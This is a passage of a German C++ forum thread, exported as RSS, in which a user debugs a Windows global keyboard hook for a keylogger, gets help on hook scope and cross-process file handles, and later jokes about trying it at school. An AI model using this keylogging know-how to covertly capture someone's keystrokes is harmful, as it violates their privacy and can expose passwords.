aber den HHOK Handle braucht man, weil man den Hook sonst weder Deinstalliern kann, noch kann man CallNextHookEx aufrufen.<br />
Und die DLL hat die Berechtigungen, was ja eig egal ist,<br />
da so lange die KeyBoardHook nicht aufgerufen wird ja ohnehin nicht darauf zugegriffen wird.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474455</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474455</guid><dc:creator><![CDATA[DrakoXP]]></dc:creator><pubDate>Fri, 14 Mar 2008 17:40:21 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 18:12:03 GMT]]></title><description><![CDATA[<p>DrakoXP schrieb:</p>
<blockquote>
<p>Die Key-Logfiles sind folglich am Ende auch immer leer.</p>
</blockquote>
<p>Ein Dateihandle ist im Kontext anderer Prozesse immer ungültig. Vielleicht liegts daran ?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474464</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474464</guid><dc:creator><![CDATA[[[global:guest]]]]></dc:creator><pubDate>Fri, 14 Mar 2008 18:12:03 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 18:20:16 GMT]]></title><description><![CDATA[<p>das ist auch egal, da die KeyBoardHoock NIE NIE NIE aufgerufen wird,<br />
das heißt, ob das Handle gültig ist, oder nicht,<br />
spielt jetzt noch gar keine Rolle -.-</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474468</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474468</guid><dc:creator><![CDATA[DrakoXP]]></dc:creator><pubDate>Fri, 14 Mar 2008 18:20:16 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 18:20:24 GMT]]></title><description><![CDATA[<p>Auf die MSDN hab ich dich verwiesen, weil da wortwörtlich steht:</p>
<p>Die MSDN schrieb:</p>
<blockquote>
<p>dwThreadId [in] Specifies the identifier of the thread with which the hook procedure is to be associated. <strong>If this parameter is zero, the hook procedure is associated with all existing threads running</strong> in the same desktop as the calling thread.</p>
</blockquote>
<p>Auf Deutsch: Ist der letzte Parameter von SetWindowsHookEx <em>nicht</em> NULL, wird deine Hook-Funktion nur für die Tastenanschläge aufgerufen, die eben dieser Thread empfängt. Wenn du deinen Thread angibst, bräuchtest du den Hook nicht, da du sowieso deine Tastatur-Ereignisse bekommst - nämlich die, die eventuell in dem Fenster getätigt werden würden, wenn es denn sichtbar wäre. Also: Mit GetCurrentThreadId() und einem unsichtbaren Fenster <em>kann</em> dein Hook gar keine Tastatur-Nachrichten bekommen.</p>
<p>DrakoXP schrieb:</p>
<blockquote>
<p>und nein, ich weiß nicht was du meinst</p>
</blockquote>
<p>Gut, dann sag das doch <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /><br />
Bei deinem Problem sehe ich zwei mögliche Fehlerquellen: Erstens dass der Hook nicht ordnungsgemäß systemweit etabliert wird, oder zweitens, dass trotz Aufruf des Hooks nichts in die Datei geschrieben wird. Deshalb mein Vorschlag: Pack eine MessageBox oder ungefähr sowas an den Anfang deiner Hook-Funktion:</p>
<pre><code class="language-cpp">HANDLE file = CreateFile( &quot;C:/Test.txt&quot;, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
LONG dummy;
SetFilePointer( file, 0, &amp;dummy, FILE_END );
WriteFile( file, &quot;I've been called\n&quot;, 17, &amp;dummy, NULL );
CloseHandle( file );
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/1474469</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474469</guid><dc:creator><![CDATA[Badestrand]]></dc:creator><pubDate>Fri, 14 Mar 2008 18:20:24 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 18:22:39 GMT]]></title><description><![CDATA[<p>DrakoXP schrieb:</p>
<blockquote>
<p>das ist auch egal, da die KeyBoardHoock NIE NIE NIE aufgerufen wird,<br />
das heißt, ob das Handle gültig ist, oder nicht,<br />
spielt jetzt noch gar keine Rolle -.-</p>
</blockquote>
<p>Vielleicht hab ich's überlesen, aber woher weißt du <em>genau</em>, dass die HookProc nie aufgerufen wird?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474471</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474471</guid><dc:creator><![CDATA[Badestrand]]></dc:creator><pubDate>Fri, 14 Mar 2008 18:22:39 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 18:50:12 GMT]]></title><description><![CDATA[<p>hm, schonmal was von einem Debugger gehört?<br />
da gibt es sowas wie -&gt; run to cursor...</p>
<p>und wenn ich den Cursor auf den Anfang des Hooks setze und das dann auswähle,<br />
so müsste ja, sobald ich eine Taste drücke, der Debugger dort halten.<br />
tut er aber nicht.</p>
<p>somit kann ich also davon ausgehen, dass der Hook nicht aufgerufen wird,<br />
oder irre ich mich, und bei Hooks funzt ein Debugger einfach nicht?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474485</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474485</guid><dc:creator><![CDATA[DrakoXP]]></dc:creator><pubDate>Fri, 14 Mar 2008 18:50:12 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 18:55:07 GMT]]></title><description><![CDATA[<p>hey, nichts für ungut xD</p>
<p>also hab jetzt mit einer MessageBox überprüft, und die Hookfunktion WIRD aufgerufen.</p>
<p>also muss ich jetzt gucken, wie ich das mit der Datei anstelle.</p>
<p>die Frage is nur, warum macht der Debugger das nicht mit run to cursor?<br />
ich meine, der debugger schafft ja sogar threads und so, wieso also das nicht?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474489</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474489</guid><dc:creator><![CDATA[DrakoXP]]></dc:creator><pubDate>Fri, 14 Mar 2008 18:55:07 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 19:42:26 GMT]]></title><description><![CDATA[<p>DrakoXP schrieb:</p>
<blockquote>
<p>die Frage is nur, warum macht der Debugger das nicht mit run to cursor?<br />
ich meine, der debugger schafft ja sogar threads und so, wieso also das nicht?</p>
</blockquote>
<p>Weil Dein Prozess, der den Hook setzt auch nie an diese Stelle gelangt, sondern der gehookte. Dein Debugger ist nur an Deinen Prozess angehängt.</p>
<p>greetz, Swordfish</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474515</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474515</guid><dc:creator><![CDATA[Swordfish]]></dc:creator><pubDate>Fri, 14 Mar 2008 19:42:26 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 20:16:28 GMT]]></title><description><![CDATA[<p>aso ok, das erklärt einiges^^</p>
<p>ok, also ich hab jetzt den KeyLogger zum laufen gebracht <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f603.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--grinning_face_with_big_eyes"
      title=":D"
      alt="😃"
    /></p>
<p>endlich^^</p>
<p>danke nochmal an alle, die geholfen haben <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";-)"
      alt="😉"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474536</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474536</guid><dc:creator><![CDATA[DrakoXP]]></dc:creator><pubDate>Fri, 14 Mar 2008 20:16:28 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 21:03:43 GMT]]></title><description><![CDATA[<p>DrakoXP schrieb:</p>
<blockquote>
<p>ok, also ich hab jetzt den KeyLogger zum laufen gebracht <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f603.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--grinning_face_with_big_eyes"
      title=":D"
      alt="😃"
    /></p>
</blockquote>
<p>Hoffentlich versteckt er sich auch gut <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f603.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--grinning_face_with_big_eyes"
      title=":D"
      alt="😃"
    /> Aber da er ja sowieso quasi Open Source ist... :p</p>
<p>greetz, Swordfish</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474565</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474565</guid><dc:creator><![CDATA[Swordfish]]></dc:creator><pubDate>Fri, 14 Mar 2008 21:03:43 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Fri, 14 Mar 2008 21:30:10 GMT]]></title><description><![CDATA[<p>DrakoXP schrieb:</p>
<blockquote>
<p>danke nochmal an alle, die geholfen haben <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";-)"
      alt="😉"
    /></p>
</blockquote>
<p>Das nächste mal aber bitte etwas freundlicher und mit etwas mehr Vertrauen...</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474569</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474569</guid><dc:creator><![CDATA[Badestrand]]></dc:creator><pubDate>Fri, 14 Mar 2008 21:30:10 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Sat, 15 Mar 2008 08:26:18 GMT]]></title><description><![CDATA[<p>sry^^</p>
<p>aber es is auch nich gerade toll, wenn die erste Antwort lautet: &quot;noch so einer...&quot;</p>
<p>naja, nichts für ungut.</p>
<p>und was das verstecken angeht...<br />
ich will ja nichts böses damit tun, war ja nur eine Übung um den Umgang mit Hooks zu verstehen.</p>
<p>obwohl ich den bestimmt mal in der Schule ausprobieren könnte xD</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474656</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474656</guid><dc:creator><![CDATA[DrakoXP]]></dc:creator><pubDate>Sat, 15 Mar 2008 08:26:18 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Sat, 15 Mar 2008 08:32:54 GMT]]></title><description><![CDATA[<p>jetzt hab ich aber doch noch eine Frage:</p>
<p>ich habe in der Liste der virtual key codes nirgendswo Komma, Punkt usw.<br />
also die ganzen Satzzeichen gefunden.<br />
genauso fehlen die Umlaute und ß (naja, das is klar...)</p>
<p>weiß einer wie ich die auch mit loggen kann?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474657</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474657</guid><dc:creator><![CDATA[DrakoXP]]></dc:creator><pubDate>Sat, 15 Mar 2008 08:32:54 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Sat, 15 Mar 2008 08:44:59 GMT]]></title><description><![CDATA[<p>Da würde ich gar nicht so lange suchen, schreib einfach bei jedem Hook-Aufruf den VKey als Zahlenwert in die Logdatei, so kannst du leicht rausfinden, was Punkt und was Komma ist <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";)"
      alt="😉"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474661</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474661</guid><dc:creator><![CDATA[Badestrand]]></dc:creator><pubDate>Sat, 15 Mar 2008 08:44:59 GMT</pubDate></item><item><title><![CDATA[Reply to Hook wird nicht aufgerufen on Sat, 15 Mar 2008 08:53:45 GMT]]></title><description><![CDATA[<p>hm, ok, ich dachte halt, dass die irgendwo dokumentiert sind^^</p>
<p>naja, dann guck ich mal</p>
<p>danke</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1474666</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1474666</guid><dc:creator><![CDATA[DrakoXP]]></dc:creator><pubDate>Sat, 15 Mar 2008 08:53:45 GMT</pubDate></item></channel></rss>